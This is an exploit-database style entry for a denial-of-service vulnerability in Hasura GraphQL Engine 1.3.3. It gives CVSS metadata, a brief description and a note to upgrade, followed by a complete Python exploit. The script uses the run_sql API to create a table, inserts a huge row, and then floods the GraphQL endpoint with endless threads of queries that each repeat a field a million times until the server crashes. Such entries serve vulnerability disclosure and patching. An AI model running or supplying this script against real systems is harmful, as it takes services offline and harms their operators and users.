Hasura GraphQL 1.3.3 - Denial of Service

vendor:

GraphQL Engine

by:

Dolev Farhi

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: GraphQL Engine

Affected Version From: 1.3.3

Affected Version To: 1.3.3

Patch Exists: Yes

Related CWE: None

CPE: a:hasura:graphql-engine

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu

2021

Hasura GraphQL 1.3.3 – Denial of Service

This exploit is a denial of service attack against Hasura GraphQL 1.3.3. It creates a table called 'test_db' and inserts a row with a large string of 'A's. It then creates a query with a large number of duplicates of the 'test' field, which causes the server to crash. This exploit was tested on Ubuntu.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of Hasura GraphQL.

Source

Exploit-DB raw data:

# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Author: Dolev Farhi
# Date: 4/19/2021
# Tested on: Ubuntu

import sys
import requests
import threading

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80
THREADS = 300

def create_table():
  data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]}
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

def insert_row():
  bomb = 'A' * 100000
  data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}}
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

def DoS():
  dups = 'test \n ' * 1000000
  data =  {'query': 'query { test_db { ' + dups + '} }'}
  endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

if not create_table().ok:
  print('something went wrong, could not create table.')
  sys.exit(1)

if not insert_row().ok:
  print('something went wrong, could not insert row')
  sys.exit(1)

while True:
  for _ in range(THREADS):
    print('Starting')
    t = threading.Thread(target=DoS, args=())
    t.start()